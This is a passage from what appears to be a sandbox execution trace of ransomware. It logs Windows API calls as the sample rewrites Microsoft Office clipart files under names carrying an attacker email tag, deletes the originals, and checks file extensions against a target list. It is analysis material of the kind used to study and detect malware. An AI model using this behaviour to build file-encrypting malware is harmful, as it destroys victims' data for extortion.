files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0187.117] GetLastError () returned 0x0 [0187.117] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0xaa9a, lpOverlapped=0x0) returned 1 [0187.377] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xaaa0, lpOverlapped=0x0) returned 1 [0187.379] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.379] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.379] SetEndOfFile (hFile=0x370) returned 1 [0187.379] CloseHandle (hObject=0x370) returned 1 [0187.379] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.379] SetEndOfFile (hFile=0x454) returned 1 [0187.382] CloseHandle (hObject=0x454) returned 1 [0187.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0187.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.383] lstrlenW (lpString=".doc") returned 4 [0187.383] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.383] lstrlenW (lpString=".docx") returned 5 [0187.383] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0187.383] lstrlenW (lpString=".pdf") returned 4 [0187.384] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.384] lstrlenW (lpString=".xls") returned 4 [0187.384] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.384] lstrlenW (lpString=".xlsx") returned 5 [0187.384] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0187.384] lstrlenW (lpString=".ppt") returned 4 [0187.384] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.384] lstrlenW (lpString=".zip") returned 4 [0187.384] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.384] lstrlenW (lpString=".rar") returned 4 [0187.384] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.384] lstrlenW (lpString=".bz2") returned 4 [0187.384] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.384] lstrlenW (lpString=".7z") returned 3 [0187.384] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.384] lstrlenW (lpString=".dbf") returned 4 [0187.384] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.384] lstrlenW (lpString=".1cd") returned 4 [0187.384] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.384] lstrlenW (lpString=".jpg") returned 4 [0187.384] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.384] lstrlenW (lpString=".doc") returned 4 [0187.384] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.384] lstrlenW (lpString=".docx") returned 5 [0187.384] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0187.384] lstrlenW (lpString=".pdf") returned 4 [0187.384] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.384] lstrlenW (lpString=".xls") returned 4 [0187.384] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.385] lstrlenW (lpString=".xlsx") returned 5 [0187.385] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0187.385] lstrlenW (lpString=".ppt") returned 4 [0187.385] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.385] lstrlenW (lpString=".zip") returned 4 [0187.385] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.385] lstrlenW (lpString=".rar") returned 4 [0187.385] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.385] lstrlenW (lpString=".bz2") returned 4 [0187.385] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.385] lstrlenW (lpString=".7z") returned 3 [0187.385] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.385] lstrlenW (lpString=".dbf") returned 4 [0187.385] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.385] lstrlenW (lpString=".1cd") returned 4 [0187.385] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0187.385] lstrlenW (lpString=".jpg") returned 4 [0187.385] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.385] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.385] lstrlenW (lpString="J0151045.WMF") returned 12 [0187.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.386] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=15464) returned 1 [0187.386] CloseHandle (hObject=0x454) returned 1 [0187.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 0x220 [0187.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.387] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.387] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0187.388] GetLastError () returned 0x0 [0187.388] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3c68, lpOverlapped=0x0) returned 1 [0187.390] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3c70, lpOverlapped=0x0) returned 1 [0187.391] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.391] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.391] SetEndOfFile (hFile=0x370) returned 1 [0187.391] CloseHandle (hObject=0x370) returned 1 [0187.391] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.391] SetEndOfFile (hFile=0x454) returned 1 [0187.394] CloseHandle (hObject=0x454) returned 1 [0187.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0187.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.395] lstrlenW (lpString=".doc") returned 4 [0187.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.395] lstrlenW (lpString=".docx") returned 5 [0187.395] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0187.395] lstrlenW (lpString=".pdf") returned 4 [0187.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.395] lstrlenW (lpString=".xls") returned 4 [0187.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.395] lstrlenW (lpString=".xlsx") returned 5 [0187.395] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0187.395] lstrlenW (lpString=".ppt") returned 4 [0187.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.395] lstrlenW (lpString=".zip") returned 4 [0187.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.395] lstrlenW (lpString=".rar") returned 4 [0187.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.395] lstrlenW (lpString=".bz2") returned 4 [0187.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.395] lstrlenW (lpString=".7z") returned 3 [0187.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.395] lstrlenW (lpString=".dbf") returned 4 [0187.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.396] lstrlenW (lpString=".1cd") returned 4 [0187.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.396] lstrlenW (lpString=".jpg") returned 4 [0187.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.396] lstrlenW (lpString=".doc") returned 4 [0187.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.396] lstrlenW (lpString=".docx") returned 5 [0187.396] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0187.396] lstrlenW (lpString=".pdf") returned 4 [0187.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.396] lstrlenW (lpString=".xls") returned 4 [0187.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.396] lstrlenW (lpString=".xlsx") returned 5 [0187.396] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0187.396] lstrlenW (lpString=".ppt") returned 4 [0187.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.396] lstrlenW (lpString=".zip") returned 4 [0187.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.396] lstrlenW (lpString=".rar") returned 4 [0187.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.396] lstrlenW (lpString=".bz2") returned 4 [0187.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.396] lstrlenW (lpString=".7z") returned 3 [0187.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.396] lstrlenW (lpString=".dbf") returned 4 [0187.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.396] lstrlenW (lpString=".1cd") returned 4 [0187.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0187.397] lstrlenW (lpString=".jpg") returned 4 [0187.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.397] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.397] lstrlenW (lpString="J0151047.WMF") returned 12 [0187.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.397] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=18500) returned 1 [0187.398] CloseHandle (hObject=0x454) returned 1 [0187.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 0x220 [0187.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.398] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.398] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0187.399] GetLastError () returned 0x0 [0187.399] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x4844, lpOverlapped=0x0) returned 1 [0187.401] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4850, lpOverlapped=0x0) returned 1 [0187.402] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.402] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.402] SetEndOfFile (hFile=0x370) returned 1 [0187.403] CloseHandle (hObject=0x370) returned 1 [0187.403] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.403] SetEndOfFile (hFile=0x454) returned 1 [0187.406] CloseHandle (hObject=0x454) returned 1 [0187.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.407] lstrlenW (lpString=".doc") returned 4 [0187.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.407] lstrlenW (lpString=".docx") returned 5 [0187.407] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0187.407] lstrlenW (lpString=".pdf") returned 4 [0187.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.407] lstrlenW (lpString=".xls") returned 4 [0187.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.407] lstrlenW (lpString=".xlsx") returned 5 [0187.407] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0187.407] lstrlenW (lpString=".ppt") returned 4 [0187.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.407] lstrlenW (lpString=".zip") returned 4 [0187.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.407] lstrlenW (lpString=".rar") returned 4 [0187.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.407] lstrlenW (lpString=".bz2") returned 4 [0187.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.407] lstrlenW (lpString=".7z") returned 3 [0187.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.408] lstrlenW (lpString=".dbf") returned 4 [0187.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.408] lstrlenW (lpString=".1cd") returned 4 [0187.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.408] lstrlenW (lpString=".jpg") returned 4 [0187.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.408] lstrlenW (lpString=".doc") returned 4 [0187.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.408] lstrlenW (lpString=".docx") returned 5 [0187.408] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0187.408] lstrlenW (lpString=".pdf") returned 4 [0187.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.408] lstrlenW (lpString=".xls") returned 4 [0187.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.408] lstrlenW (lpString=".xlsx") returned 5 [0187.408] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0187.408] lstrlenW (lpString=".ppt") returned 4 [0187.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.408] lstrlenW (lpString=".zip") returned 4 [0187.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.408] lstrlenW (lpString=".rar") returned 4 [0187.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.408] lstrlenW (lpString=".bz2") returned 4 [0187.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.408] lstrlenW (lpString=".7z") returned 3 [0187.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.408] lstrlenW (lpString=".dbf") returned 4 [0187.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.409] lstrlenW (lpString=".1cd") returned 4 [0187.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0187.409] lstrlenW (lpString=".jpg") returned 4 [0187.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.409] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.409] lstrlenW (lpString="J0151055.WMF") returned 12 [0187.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.410] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=14632) returned 1 [0187.410] CloseHandle (hObject=0x454) returned 1 [0187.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 0x220 [0187.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.410] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.410] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0187.411] GetLastError () returned 0x0 [0187.411] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, 